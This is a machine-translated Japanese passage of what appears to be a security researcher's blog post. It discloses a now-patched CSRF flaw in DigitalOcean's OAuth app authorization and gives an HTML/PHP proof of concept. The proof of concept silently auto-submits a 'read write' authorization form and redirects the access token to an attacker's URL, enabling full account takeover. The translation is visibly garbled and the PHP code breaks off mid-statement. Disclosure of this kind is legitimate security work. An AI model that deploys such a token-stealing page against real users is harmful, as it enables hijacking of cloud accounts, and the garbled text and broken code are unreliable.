多くのHabraユーザーのように、私は「クラウド」テクノロジーを使用しています。 世界のさまざまな国でVPS（仮想サーバー）をレンタルしています。 約2年、Amazonを使用し、満足しているとは言いませんでしたが、十分でした。
昨年9月、私はDigital Ocean（DO）の非常に攻撃的なPR会社に出会い、そのサービスを使用することにしました。 その瞬間から、私は（広告ではなく）Amazonを放棄し、完全にDOに切り替えました。
また、サービスをより多く使用し、データでそれを信頼するほど、その仕組みをより詳しく調べます。
DO WebはRoRで記述され、GO / Perlもどこでも使用されます。データベースはMariaDB / PostgreSQLです（両方が同じ製品に含まれていることは非常に奇妙です）。 そして、いくつかのセキュリティレポートから、最も簡単なバグと最大の影響（他人のアカウントの制御の奪取）が既に修正されたレポートを選びたいと思います。
集合場所
むかしむかし、
APIセキュリティについての記事を書いたのですが、そこにある脆弱性を調べる方が良いと思い
ます 。 アカウントと機能を調べたところ、そこにあることに気付きました。 開発者アプリケーションを作成できます。
アプリケーション作成ウィンドウアプリケーションからアカウントへのアクセス
-文書読んだ
developers.digitalocean.com 、それは私のリンクの種類を与えた後、私はアプリを作成することができることを実現APIの新バージョンの発売を検討する-
cloud.digitalocean.com/v1/oauth/authorize?client_id=34fc7d56883b7e33b2f305642acb5ec6e5a14271ba83084dc6a0ca2b22d29555&redirect_uri=https%3A%2F ％2Fsergeybelove.ru％2Fexploits％2F＆response_type = code
アカウントアクセスリクエストの例urlでは、scopeパラメーターを設定できます。 権限をモジュールで分割するための一般的なソリューション（ソーシャルネットワークなど-友人、写真アルバムなどへのアクセス）の代わりに、DOのメンバーは別の方法で決定することで、利用可能な操作-読み取り|書き込み（パラメーターを明示的に指定せず読み取り専用）、すべてのモジュールへのアクセスを一度に許可します。 最適なソリューションとはほど遠い。
攻撃ベクトル
ユーザーが[アプリケーションの承認]をクリックすると、特別なトークンを使用してコールバックURLに自動的にスローされます。 このトークンは、APIメソッド自体（アカウント情報、ドロップレット管理など）を直接呼び出すために必要な次のトークンを要求するために、その側（開発者）で既に使用できます。
すべての間違いは、アプリケーションのインストール時にCSRF攻撃を行うことができるという事実に還元されました（上の図のリクエストと同じフォームを作成し、フォームのアクションをDOに変更して送信します）。 彼らはCSRFトークンを使用しますが、サーバー側ではチェックしません。
その結果、目的のhtml / jsコードをどこかに配置し、非表示のフレームに配置し、ユーザーに見えないように「悪意のある」アプリケーションをインストールし、access_tokenをキャッチします。
明確にするために、PoCを提供します。 そのようなページでコードにアクセスすると、アプリケーションがインストールされ、access_tokenがキャッチされ、次のコードが要求され、アカウント情報が表示されました。
<html> <body<?php if (!isset($_GET['code'])) echo ' onload="document.forms[0].submit()"'; ?>> <form action="https://cloud.digitalocean.com/v1/oauth/authorize" method="POST"> <input type="hidden" name="utf8" value="✓" /> <input type="hidden" name="authenticity_token" value="" /> <input type="hidden" name="client_id" value="___ID___FROM_DEV_PANEL__" /> <input type="hidden" name="redirect_uri" value="http://_url_with_exploit" /> <input type="hidden" name="state" value="" /> <input type="hidden" name="response_type" value="code" /> <input type="hidden" name="scope" value="read write" /> <input type="hidden" name="commit" value="Authorize Application" /> <input type="submit" value="Submit request" /> </form> </body> </html> <?php if (isset($_GET['code']) && preg_match("/^([a-z0-9]{64})$/", $_GET['code'])) {
その結果、アカウントを完全に制御できます。 使用可能なメソッドのいくつか（scope = read、writeを指定するだけ）：
- 液滴の作成、削除
- SSHキーの作成、削除、更新
- ドロップレット画像の移動（他のアカウントへ）
一般的に-たくさん。 この脆弱性にはパッチが適用されますが、残りは残念ながら適用されません。 すぐにそれらについて話すことが判明するかもしれません。
upd：この脆弱性はDO開発者によって許可されていませんが、多くのサイトで使用されているOAuth-Doorkeeperのジャムにあります。